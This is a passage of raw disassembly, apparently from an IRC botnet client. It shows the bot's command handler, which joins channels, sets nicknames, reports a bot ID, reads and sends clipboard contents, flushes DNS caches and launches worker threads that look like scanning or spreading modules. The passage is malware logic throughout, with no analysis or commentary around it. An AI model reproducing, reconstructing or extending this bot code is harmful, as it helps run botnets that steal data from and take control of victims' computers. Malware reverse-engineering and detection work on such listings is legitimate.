sub_4159EF push eax call sub_415067 pop ecx pop ecx test eax, eax push esi jz short loc_4120CC push offset dword_42BB70 jmp short loc_4120D1 ; --------------------------------------------------------------------------- loc_4120CC: ; CODE XREF: sub_40D2E0+4DE3j push offset dword_42BB34 loc_4120D1: ; CODE XREF: sub_40D2E0+4DEAj lea eax, [ebp+var_2DC] push eax call sub_415480 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_412101 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40BAE7 add esp, 14h loc_412101: ; CODE XREF: sub_40D2E0+4E03j lea eax, [ebp+var_2DC] push eax call sub_40A5B3 add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_4120A5 jmp loc_40D6A7 ; --------------------------------------------------------------------------- loc_41211D: ; CODE XREF: sub_40D2E0+1A10j ; sub_40D2E0+1A27j cmp [ebp+var_C], ebx jz loc_4133B5 push edi push [ebp+var_C] call sub_415A50 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_4133B5 push esi push offset dword_42C58C push [ebp+arg_4] call sub_40BAA1 add esp, 0Ch push esi push offset dword_42BB0C jmp loc_4133AE ; --------------------------------------------------------------------------- loc_412157: ; CODE XREF: sub_40D2E0+19E2j ; sub_40D2E0+19F9j push edi push offset dword_42C4A8 push [ebp+arg_4] call sub_40BAA1 add esp, 0Ch push edi push offset dword_42BADC jmp loc_4133AE ; --------------------------------------------------------------------------- loc_412173: ; CODE XREF: sub_40D2E0+19B4j ; sub_40D2E0+19CBj push [ebp+esi+var_8C] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40BAA1 add esp, 10h push edi push offset dword_42BAAC jmp loc_4133AE ; --------------------------------------------------------------------------- loc_412196: ; CODE XREF: sub_40D2E0+1986j ; sub_40D2E0+199Dj push edi push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40BAA1 add esp, 0Ch push edi push offset dword_42BA78 jmp loc_4133AE ; --------------------------------------------------------------------------- loc_4121B2: ; CODE XREF: sub_40D2E0+194Bj ; sub_40D2E0+1960j mov al, ds:byte_42AD0A mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_42AD0A jz loc_40D6A7 mov ecx, edx loc_4121C9: ; CODE XREF: sub_40D2E0+4EF1j inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_4121C9 cmp al, bl jz loc_40D6A7 mov [ebp+arg_18], edx loc_4121DE: ; CODE XREF: sub_40D2E0+51BCj push 8 call sub_415174 pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] add eax, ecx cmp eax, 3E8h jle short loc_41222D push ecx lea eax, [ebp+var_2DC] push offset unk_42CDC4 push eax call sub_415480 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40BAE7 add esp, 20h jmp loc_412493 ; --------------------------------------------------------------------------- loc_41222D: ; CODE XREF: sub_40D2E0+4F18j or [ebp+var_314], 0FFFFFFFFh cmp ds:dword_426620, ebx mov [ebp+var_318], 64h mov [ebp+var_32C], 7 mov [ebp+var_328], 270Fh mov [ebp+arg_0], ebx jz short loc_41229E mov eax, [ebp+arg_18] mov edi, offset dword_426620 lea esi, [eax-0Ah] loc_412268: ; CODE XREF: sub_40D2E0+4FA0j lea eax, [edi-28h] push esi push eax call sub_4158A0 pop ecx test eax, eax pop ecx jz short loc_412284 inc [ebp+arg_0] add edi, 3Ch cmp [edi], ebx jnz short loc_412268 jmp short loc_41229E ; --------------------------------------------------------------------------- loc_412284: ; CODE XREF: sub_40D2E0+4F96j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_314], eax imul ecx, 3Ch mov ecx, ds:dword_426620[ecx] mov [ebp+var_330], ecx loc_41229E: ; CODE XREF: sub_40D2E0+4F7Bj ; sub_40D2E0+4FA2j cmp [ebp+var_330], ebx jz loc_4124A7 push 10h lea eax, [ebp+arg_10] pop esi push eax lea eax, [ebp+var_2EC] push eax mov [ebp+arg_10], esi push [ebp+arg_4] call ds:dword_43640C ; getsockname mov al, [ebp+var_9C7] push esi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2E8], eax push [ebp+var_2E8] call ds:dword_4364F4 ; inet_ntoa push eax lea eax, [ebp+var_444] push eax call sub_416D30 xor eax, eax cmp [ebp+var_9C7], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_444] push eax call sub_417030 add esp, 14h cmp edi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_412340 loc_41231E: ; CODE XREF: sub_40D2E0+505Ej cmp eax, ebx jz short loc_412340 mov byte ptr [eax], 78h lea eax, [ebp+var_444] push 30h push eax call sub_417030 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_41231E loc_412340: ; CODE XREF: sub_40D2E0+503Cj ; sub_40D2E0+5040j mov eax, [ebp+arg_4] push [ebp+var_8C] mov esi, [ebp+var_4] mov [ebp+var_334], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_308], eax lea eax, [ebp+var_434] push eax mov [ebp+var_304], 1 mov [ebp+var_30C], esi call sub_4159FA mov edi, offset aF_0 ; "#f" push offset byte_4325D8 push edi call sub_4158A0 add esp, 14h test eax, eax jz short loc_4123AA push edi lea eax, [ebp+var_3B4] push 80h push eax call sub_4159FA add esp, 0Ch jmp short loc_4123B0 ; --------------------------------------------------------------------------- loc_4123AA: ; CODE XREF: sub_40D2E0+50B1j mov [ebp+var_3B4], bl loc_4123B0: ; CODE XREF: sub_40D2E0+50C8j cmp [ebp+var_304], ebx mov eax, offset aRandom_0 ; "Random" jnz short loc_4123C2 mov eax, offset aSequential ; "Sequential" loc_4123C2: ; CODE XREF: sub_40D2E0+50DBj push [ebp+var_318] lea ecx, [ebp+var_444] push [ebp+var_328] push [ebp+var_32C] push [ebp+var_330] push ecx push eax lea eax, [ebp+var_2DC] push offset unk_42BA00 push eax call sub_415480 push ebx lea eax, [ebp+var_2DC] push 8 push eax call sub_414F2C add esp, 2Ch mov [ebp+var_324], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_444] push ebx push eax push offset sub_405FC5 push ebx push ebx call ds:dword_422070 ; CreateThread mov ecx, [ebp+var_324] imul ecx, 234h cmp eax, ebx mov ds:dword_43BED4[ecx], eax jz short loc_41244C loc_41243A: ; CODE XREF: sub_40D2E0+516Aj cmp [ebp+var_300], ebx jnz short loc_412467 push 32h call ds:dword_422054 ; Sleep jmp short loc_41243A ; --------------------------------------------------------------------------- loc_41244C: ; CODE XREF: sub_40D2E0+5158j call ds:dword_42206C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2DC] push offset unk_42CCB4 push eax call sub_415480 add esp, 0Ch loc_412467: ; CODE XREF: sub_40D2E0+5160j cmp [ebp+var_8], ebx jnz short loc_412486 push ebx lea eax, [ebp+var_2DC] push esi push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40BAE7 add esp, 14h loc_412486: ; CODE XREF: sub_40D2E0+518Aj lea eax, [ebp+var_2DC] push eax call sub_40A5B3 pop ecx loc_412493: ; CODE XREF: sub_40D2E0+4F48j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_4121DE jmp loc_40D6A7 ; --------------------------------------------------------------------------- loc_4124A7: ; CODE XREF: sub_40D2E0+3108j ; sub_40D2E0+4FC4j push offset unk_42B9BC jmp loc_412A6C ; --------------------------------------------------------------------------- loc_4124B1: ; CODE XREF: sub_40D2E0+1921j ; sub_40D2E0+1936j push [ebp+var_8C] lea eax, [ebp+var_A4] push 80h push eax call sub_4159FA mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_A8], eax mov eax, [ebp+var_4] mov [ebp+var_20], eax mov eax, [ebp+var_8] mov [ebp+var_1C], eax push offset unk_42B984 lea eax, [ebp+var_2DC] push 200h push eax call sub_4159FA push ebx lea eax, [ebp+var_2DC] push 1Eh push eax call sub_414F2C add esp, 18h mov [ebp+var_24], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A8] push ebx push eax push offset sub_40767D push ebx push ebx call ds:dword_422070 ; CreateThread mov ecx, [ebp+var_24] imul ecx, 234h cmp eax, ebx mov ds:dword_43BED4[ecx], eax jz short loc_41254A loc_412537: ; CODE XREF: sub_40D2E0+5268j cmp [ebp+var_18], ebx jnz loc_41327F push 32h call ds:dword_422054 ; Sleep jmp short loc_412537 ; --------------------------------------------------------------------------- loc_41254A: ; CODE XREF: sub_40D2E0+5255j call ds:dword_42206C ; RtlGetLastWin32Error push eax push offset unk_42B938 jmp loc_413270 ; --------------------------------------------------------------------------- loc_41255B: ; CODE XREF: sub_40D2E0+18F7j ; sub_40D2E0+190Cj push 4 call sub_415174 test eax, eax pop ecx jle short loc_412571 push offset unk_42B90C jmp loc_40F1A6 ; --------------------------------------------------------------------------- loc_412571: ; CODE XREF: sub_40D2E0+5285j mov eax, [ebp+esi+var_90] cmp eax, ebx jz short loc_412594 push eax mov edi, 104h lea eax, [ebp+var_7FC] push edi push eax call sub_4159FA add esp, 0Ch jmp short loc_4125A8 ; --------------------------------------------------------------------------- loc_412594: ; CODE XREF: sub_40D2E0+529Aj mov edi, 104h lea eax, [ebp+var_7FC] push edi push eax push ebx call ds:off_422060 loc_4125A8: ; CODE XREF: sub_40D2E0+52B2j mov esi, [ebp+esi+var_8C] cmp esi, ebx jnz short loc_4125B8 mov esi, offset byte_42AD8C loc_4125B8: ; CODE XREF: sub_40D2E0+52D1j push esi lea eax, [ebp+var_6F8] push edi push eax call sub_4159FA mov eax, ds:dword_42ACC4 push 7Fh push [ebp+var_8C] mov [ebp+var_5EC], eax mov eax, [ebp+arg_4] mov [ebp+var_5F0], ebx mov [ebp+var_800], eax lea eax, [ebp+var_5E8] push eax call sub_416D30 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_6F8] push eax lea eax, [ebp+var_7FC] push eax lea eax, [ebp+var_2DC] push [ebp+var_5EC] push offset unk_426A40 push eax call sub_415480 push ebx lea eax, [ebp+var_2DC] push 4 push eax call sub_414F2C add esp, 20h mov [ebp+var_5F4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_800] push ebx push eax push offset sub_40525F push ebx push ebx call ds:dword_422070 ; CreateThread mov ecx, [ebp+var_5F4] imul ecx, 234h cmp eax, ebx mov ds:dword_43BED4[ecx], eax jz short loc_41268B loc_412675: ; CODE XREF: sub_40D2E0+53A9j cmp [ebp+var_560], ebx jnz loc_40F2C5 push 32h call ds:dword_422054 ; Sleep jmp short loc_412675 ; --------------------------------------------------------------------------- loc_41268B: ; CODE XREF: sub_40D2E0+5393j call ds:dword_42206C ; RtlGetLastWin32Error push eax push offset unk_42B8C4 jmp loc_40F2B6 ; --------------------------------------------------------------------------- loc_41269C: ; CODE XREF: sub_40D2E0+18CDj ; sub_40D2E0+18E2j mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_4126BB push edi call sub_4159EF test eax, eax pop ecx jz short loc_4126BB push edi call sub_4159EF pop ecx jmp short loc_4126C0 ; --------------------------------------------------------------------------- loc_4126BB: ; CODE XREF: sub_40D2E0+53C5j ; sub_40D2E0+53D0j mov eax, ds:dword_42ACC8 loc_4126C0: ; CODE XREF: sub_40D2E0+53D9j mov esi, [ebp+esi+var_8C] mov [ebp+var_57C], eax xor eax, eax cmp [ebp+var_9C4], bl setz al cmp esi, ebx mov [ebp+var_568], eax jz short loc_4126F3 lea eax, [ebp+var_680] push esi push eax call sub_415480 pop ecx pop ecx jmp short loc_41271E ; --------------------------------------------------------------------------- loc_4126F3: ; CODE XREF: sub_40D2E0+5400j lea eax, [ebp+var_3FC] push 104h push eax call ds:dword_422058 ; GetSystemDirectoryA push ebx push ebx lea eax, [ebp+var_2E8] push ebx push eax lea eax, [ebp+var_3FC] push eax call sub_4173D8 add esp, 14h loc_41271E: ; CODE XREF: sub_40D2E0+5411j lea eax, [ebp+var_680] push eax call sub_415C80 cmp [ebp+eax+var_681], 5Ch pop ecx jnz short loc_412749 lea eax, [ebp+var_680] push eax call sub_415C80 pop ecx mov [ebp+eax+var_681], bl loc_412749: ; CODE XREF: sub_40D2E0+5453j push [ebp+var_8C] mov esi, [ebp+arg_4] lea eax, [ebp+var_908] mov [ebp+var_90C], esi push 80h push eax call sub_4159FA mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_56C], eax lea eax, [ebp+var_680] mov [ebp+var_570], edi push eax push [ebp+var_57C] push esi call sub_409526 pop ecx push eax lea eax, [ebp+var_2DC] push offset unk_426924 push eax call sub_415480 push ebx lea eax, [ebp+var_2DC] push 3 push eax call sub_414F2C add esp, 20h mov [ebp+var_574], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_90C] push ebx push eax push offset sub_404138 push ebx push ebx call ds:dword_422070 ; CreateThread mov ecx, [ebp+var_574] imul ecx, 234h cmp eax, ebx mov ds:dword_43BED4[ecx], eax jz short loc_412801 loc_4127EB: ; CODE XREF: sub_40D2E0+551Fj cmp [ebp+var_560], ebx jnz loc_412953 push 32h call ds:dword_422054 ; Sleep jmp short loc_4127EB ; --------------------------------------------------------------------------- loc_412801: ; CODE XREF: sub_40D2E0+5509j call ds:dword_42206C ; RtlGetLastWin32Error push eax push offset unk_42B87C jmp loc_412944 ; --------------------------------------------------------------------------- loc_412812: ; CODE XREF: sub_40D2E0+18A3j ; sub_40D2E0+18B8j mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_412831 push edi call sub_4159EF test eax, eax pop ecx jz short loc_412831 push edi call sub_4159EF pop ecx jmp short loc_412836 ; --------------------------------------------------------------------------- loc_412831: ; CODE XREF: sub_40D2E0+553Bj ; sub_40D2E0+5546j mov eax, ds:dword_42ACCC loc_412836: ; CODE XREF: sub_40D2E0+554Fj mov [ebp+var_578], eax mov eax, [ebp+esi+var_8C] cmp eax, ebx jnz short loc_41284D lea eax, [ebp+var_D8] loc_41284D: ; CODE XREF: sub_40D2E0+5565j push eax lea eax, [ebp+var_6B8] push 40h push eax call sub_4159FA mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jnz short loc_41286F mov esi, offset byte_4325D8 loc_41286F: ; CODE XREF: sub_40D2E0+5588j push esi lea eax, [ebp+var_678] push 100h push eax call sub_4159FA add esp, 0Ch lea eax, [ebp+var_738] push [ebp+var_8C] push 80h push eax call sub_4159FA mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_564], eax lea eax, [ebp+var_6B8] push eax mov [ebp+var_73C], esi push [ebp+var_578] mov [ebp+var_568], edi push esi call sub_409526 pop ecx push eax lea eax, [ebp+var_2DC] push offset dword_42B830 push eax call sub_415480 push ebx lea eax, [ebp+var_2DC] push 6 push eax call sub_414F2C add esp, 20h mov [ebp+var_574], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_73C] push ebx push eax push offset sub_413B7C push ebx push ebx call ds:dword_422070 ; CreateThread mov ecx, [ebp+var_574] imul ecx, 234h cmp eax, ebx mov ds:dword_43BED4[ecx], eax jz short loc_412938 loc_412926: ; CODE XREF: sub_40D2E0+5656j cmp [ebp+var_560], ebx jnz short loc_412953 push 32h call ds:dword_422054 ; Sleep jmp short loc_412926 ; --------------------------------------------------------------------------- loc_412938: ; CODE XREF: sub_40D2E0+5644j call ds:dword_42206C ; RtlGetLastWin32Error push eax push offset dword_42B7E4 loc_412944: ; CODE XREF: sub_40D2E0+3625j ; sub_40D2E0+3722j ... lea eax, [ebp+var_2DC] push eax call sub_415480 add esp, 0Ch loc_412953: ; CODE XREF: sub_40D2E0+3609j ; sub_40D2E0+3706j ... cmp [ebp+var_8], ebx jnz loc_41327F push ebx push edi jmp loc_41019D ; --------------------------------------------------------------------------- loc_412963: ; CODE XREF: sub_40D2E0+1879j ; sub_40D2E0+188Ej mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_412976 push esi call sub_4159EF jmp short loc_41297D ; --------------------------------------------------------------------------- loc_412976: ; CODE XREF: sub_40D2E0+568Cj push 8 call sub_415193 loc_41297D: ; CODE XREF: sub_40D2E0+5694j cmp eax, ebx pop ecx jz loc_4133B5 push eax push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_405821 loc_412998: ; CODE XREF: sub_40D2E0+5B67j add esp, 10h jmp loc_4133B5 ; --------------------------------------------------------------------------- loc_4129A0: ; CODE XREF: sub_40D2E0+184Fj ; sub_40D2E0+1864j mov eax, ds:dword_436390 cmp eax, ebx jz short loc_4129BD call eax ; DnsFlushResolverCache test eax, eax jz short loc_4129B6 push offset unk_42B7B0 jmp short loc_4129D2 ; --------------------------------------------------------------------------- loc_4129B6: ; CODE XREF: sub_40D2E0+56CDj push offset unk_42B774 jmp short loc_4129D2 ; --------------------------------------------------------------------------- loc_4129BD: ; CODE XREF: sub_40D2E0+56C7j push offset unk_42B738 jmp short loc_4129D2 ; --------------------------------------------------------------------------- loc_4129C4: ; CODE XREF: sub_40D2E0+1825j ; sub_40D2E0+183Aj call sub_409448 test eax, eax jz short loc_4129E8 push offset unk_42B704 loc_4129D2: ; CODE XREF: sub_40D2E0+4AFCj ; sub_40D2E0+56D4j ... lea eax, [ebp+var_2DC] push 200h push eax call sub_4159FA jmp loc_40F52B ; --------------------------------------------------------------------------- loc_4129E8: ; CODE XREF: sub_40D2E0+56EBj push offset unk_42B6C8 jmp short loc_4129D2 ; --------------------------------------------------------------------------- loc_4129EF: ; CODE XREF: sub_40D2E0+17FBj ; sub_40D2E0+1810j cmp [ebp+var_8], ebx jnz short loc_412A0E push ebx push [ebp+var_4] push offset aClipboardData ; "-[Clipboard Data]-" push [ebp+var_8C] push [ebp+arg_4] call sub_40BAE7 add esp, 14h loc_412A0E: ; CODE XREF: sub_40D2E0+5712j push ebx push [ebp+var_4] call sub_409105 push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40BAE7 push offset dword_42B688 loc_412A2B: ; CODE XREF: sub_40D2E0+5A09j ; sub_40D2E0+5A3Bj call sub_40A5B3 add esp, 18h jmp loc_4133B5 ; --------------------------------------------------------------------------- loc_412A38: ; CODE XREF: sub_40D2E0+171Cj ; sub_40D2E0+1731j push 7 call sub_415174 test eax, eax pop ecx jle short loc_412A4B push offset dword_42B650 jmp short loc_412A6C ; --------------------------------------------------------------------------- loc_412A4B: ; CODE XREF: sub_40D2E0+5762j push [ebp+var_8C] push [ebp+arg_4] call sub_409BB2 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_412A67 push offset dword_42B618 jmp short loc_412A6C ; --------------------------------------------------------------------------- loc_412A67: ; CODE XREF: sub_40D2E0+577Ej push offset dword_42B5E8 loc_412A6C: ; CODE XREF: sub_40D2E0+2C51j ; sub_40D2E0+2D87j ... lea eax, [ebp+var_2DC] push eax call sub_415480 pop ecx pop ecx loc_412A7A: ; CODE XREF: sub_40D2E0+15C6j ; sub_40D2E0+2D61j ... cmp [ebp+var_8], ebx jnz loc_41327F push ebx push [ebp+var_4] loc_412A87: ; CODE XREF: sub_40D2E0+3961j lea eax, [ebp+var_2DC] push eax push [ebp+var_8C] push [ebp+arg_4] loc_412A97: ; CODE XREF: sub_40D2E0+2ECBj call sub_40BAE7 add esp, 14h jmp loc_41327F ; --------------------------------------------------------------------------- loc_412AA4: ; CODE XREF: sub_40D2E0+16F2j ; sub_40D2E0+1707j push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_408AF2 jmp loc_40D6A4 ; --------------------------------------------------------------------------- loc_412ABD: ; CODE XREF: sub_40D2E0+16C8j ; sub_40D2E0+16DDj push [ebp+esi+var_90] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40B934 jmp loc_40D6A4 ; --------------------------------------------------------------------------- loc_412ADA: ; CODE XREF: sub_40D2E0+169Ej ; sub_40D2E0+16B3j or edi, 0FFFFFFFFh call ds:dword_422048 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_90] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_412B03 push esi call sub_4159EF pop ecx mov edi, eax loc_412B03: ; CODE XREF: sub_40D2E0+5818j mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_412B1C cmp edi, 0FFFFFFFFh jnz loc_4133B5 loc_412B1C: ; CODE XREF: sub_40D2E0+5831j push ebx call sub_409D67 pop ecx push eax lea eax, [ebp+var_2DC] push offset dword_42B5C0 push eax call sub_415480 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40BAE7 lea eax, [ebp+var_2DC] push eax call sub_40A5B3 jmp loc_40FECB ; --------------------------------------------------------------------------- loc_412B5F: ; CODE XREF: sub_40D2E0+1674j ; sub_40D2E0+1689j push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40726C add esp, 0Ch push offset unk_42B590 jmp loc_40F1A6 ; --------------------------------------------------------------------------- loc_412B7D: ; CODE XREF: sub_40D2E0+164Aj ; sub_40D2E0+165Fj push 1Fh call sub_415174 test eax, eax pop ecx jle short loc_412BA6 cmp [ebp+var_8], ebx jnz loc_40D6A7 push ebx push [ebp+var_4] push offset unk_42B55C push [ebp+var_8C] jmp loc_40DC0E ; --------------------------------------------------------------------------- loc_412BA6: ; CODE XREF: sub_40D2E0+58A7j push [ebp+var_8C] lea eax, [ebp+var_4F0] push 80h push eax call sub_4159FA mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_90] mov [ebp+var_4F4], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_464], eax mov [ebp+var_46C], ebx jz short loc_412C07 push esi push offset aFull ; "full" call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_412C07 mov [ebp+var_46C], 1 loc_412C07: ; CODE XREF: sub_40D2E0+590Aj ; sub_40D2E0+591Bj lea eax, [ebp+var_2DC] push offset dword_42B524 push eax call sub_415480 push ebx lea eax, [ebp+var_2DC] push 1Fh push eax call sub_414F2C add esp, 14h mov [ebp+var_470], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F4] push ebx push eax push offset sub_4137A9 push ebx push ebx call ds:dword_422070 ; CreateThread mov ecx, [ebp+var_470] imul ecx, 234h cmp eax, ebx mov ds:dword_43BED4[ecx], eax jz short loc_412C75 loc_412C5F: ; CODE XREF: sub_40D2E0+5993j cmp [ebp+var_460], ebx jnz loc_41327F push 32h call ds:dword_422054 ; Sleep jmp short loc_412C5F ; --------------------------------------------------------------------------- loc_412C75: ; CODE XREF: sub_40D2E0+597Dj call ds:dword_42206C ; RtlGetLastWin32Error push eax push offset unk_42B4D4 jmp loc_413270 ; --------------------------------------------------------------------------- loc_412C86: ; CODE XREF: sub_40D2E0+1620j ; sub_40D2E0+1635j cmp [ebp+var_8], ebx jnz short loc_412CA5 push ebx push [ebp+var_4] push offset dword_42B4AC push [ebp+var_8C] push [ebp+arg_4] call sub_40BAE7 add esp, 14h loc_412CA5: ; CODE XREF: sub_40D2E0+59A9j push [ebp+arg_4] call ds:dword_436500 ; closesocket call ds:dword_4363C8 ; WSACleanup call sub_409288 push ebx call ds:off_42212C loc_412CC0: ; CODE XREF: sub_40D2E0+15F6j ; sub_40D2E0+160Bj push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push [ebp+arg_4] push eax call sub_409F1E pop ecx pop ecx push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40BAE7 push offset dword_42B484 jmp loc_412A2B ; --------------------------------------------------------------------------- loc_412CEE: ; CODE XREF: sub_40D2E0+14BCj ; sub_40D2E0+14D1j push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_40A1D2 add esp, 0Ch push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40BAE7 push offset dword_42B45C jmp loc_412A2B ; --------------------------------------------------------------------------- loc_412D20: ; CODE XREF: sub_40D2E0+1492j ; sub_40D2E0+14A7j push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40A653 jmp loc_40D6A4 ; --------------------------------------------------------------------------- loc_412D39: ; CODE XREF: sub_40D2E0+1468j ; sub_40D2E0+147Dj cmp [ebp+var_C], ebx mov [ebp+var_388], bl jz short loc_412D78 mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_412D78 push esi push [ebp+var_C] call sub_415A50 pop ecx cmp eax, ebx pop ecx jz short loc_412D78 push eax push offset aS_2 ; "%s" lea eax, [ebp+var_388] push 80h push eax call sub_4159FA add esp, 10h loc_412D78: ; CODE XREF: sub_40D2E0+5A62j ; sub_40D2E0+5A6Dj ... push [ebp+var_8C] lea eax, [ebp+var_408] push 80h push eax call sub_4159FA mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_40C], eax mov eax, [ebp+var_4] mov [ebp+var_304], eax mov eax, [ebp+var_8] mov [ebp+var_300], eax lea eax, [ebp+var_2DC] push offset dword_42B434 push eax call sub_415480 push ebx lea eax, [ebp+var_2DC] push 1Dh push eax call sub_414F2C add esp, 14h mov [ebp+var_308], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_40C] push ebx push eax push offset sub_40A693 push ebx push ebx call ds:dword_422070 ; CreateThread mov ecx, [ebp+var_308] imul ecx, 234h cmp eax, ebx mov ds:dword_43BED4[ecx], eax jz short loc_412E1B loc_412E05: ; CODE XREF: sub_40D2E0+5B39j cmp [ebp+var_2FC], ebx jnz loc_40D6A7 push 32h call ds:dword_422054 ; Sleep jmp short loc_412E05 ; --------------------------------------------------------------------------- loc_412E1B: ; CODE XREF: sub_40D2E0+5B23j call ds:dword_42206C ; RtlGetLastWin32Error push eax push offset dword_42B3EC jmp loc_40D890 ; --------------------------------------------------------------------------- loc_412E2C: ; CODE XREF: sub_40D2E0+143Ej ; sub_40D2E0+1453j push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40A53B push offset dword_42B3C4 call sub_40A5B3 jmp loc_412998 ; --------------------------------------------------------------------------- loc_412E4C: ; CODE XREF: sub_40D2E0+1414j ; sub_40D2E0+1429j push [ebp+var_8C] lea eax, [ebp+var_4F0] push 80h push eax call sub_4159FA mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_90] mov [ebp+var_4F4], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_464], eax jz short loc_412EA6 push offset dword_42B3C0 push esi call sub_4158A0 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_46C], eax jmp short loc_412EAC ; --------------------------------------------------------------------------- loc_412EA6: ; CODE XREF: sub_40D2E0+5BAAj mov [ebp+var_46C], ebx loc_412EAC: ; CODE XREF: sub_40D2E0+5BC4j lea eax, [ebp+var_2DC] push offset dword_42B394 push eax call sub_415480 push ebx lea eax, [ebp+var_2DC] push 20h push eax call sub_414F2C add esp, 14h mov [ebp+var_470], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F4] push ebx push eax push offset sub_414F97 push ebx push ebx call ds:dword_422070 ; CreateThread mov ecx, [ebp+var_470] imul ecx, 234h cmp eax, ebx mov ds:dword_43BED4[ecx], eax jz short loc_412F16 loc_412F04: ; CODE XREF: sub_40D2E0+5C34j cmp [ebp+var_460], ebx jnz short loc_412F31 push 32h call ds:dword_422054 ; Sleep jmp short loc_412F04 ; --------------------------------------------------------------------------- loc_412F16: ; CODE XREF: sub_40D2E0+5C22j call ds:dword_42206C ; RtlGetLastWin32Error push eax push offset dword_42B34C loc_412F22: ; CODE XREF: sub_40D2E0+489Dj ; sub_40D2E0+49B9j lea eax, [ebp+var_2DC] push eax call sub_415480 add esp, 0Ch loc_412F31: ; CODE XREF: sub_40D2E0+4527j ; sub_40D2E0+453Fj ... lea eax, [ebp+var_2DC] push eax jmp loc_40EAC2 ; --------------------------------------------------------------------------- loc_412F3D: ; CODE XREF: sub_40D2E0+1398j ; sub_40D2E0+13ADj push offset aBotid ; "botid" push offset dword_42B324 jmp short loc_412F5B ; --------------------------------------------------------------------------- loc_412F49: ; CODE XREF: sub_40D2E0+136Ej ; sub_40D2E0+1383j ; DATA XREF: ... push ds:dword_4C8CC0 call sub_409D67 pop ecx push eax push offset dword_42B2E8 loc_412F5B: ; CODE XREF: sub_40D2E0+5C67j lea eax, [ebp+var_2DC] push eax call sub_415480 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40BAE7 add esp, 20h jmp loc_40F56B ; --------------------------------------------------------------------------- loc_412F88: ; CODE XREF: sub_40D2E0+1344j ; sub_40D2E0+1359j mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_412FBA cmp [ebp+var_C], ebx jz short loc_412FC9 push esi push [ebp+var_C] call sub_415A50 pop ecx cmp eax, ebx pop ecx jz short loc_412FC9 push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_40BAA1 add esp, 0Ch jmp short loc_412FC9 ; --------------------------------------------------------------------------- loc_412FBA: ; CODE XREF: sub_40D2E0+5CB1j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_40BAA1 pop ecx pop ecx loc_412FC9: ; CODE XREF: sub_40D2E0+5CB6j ; 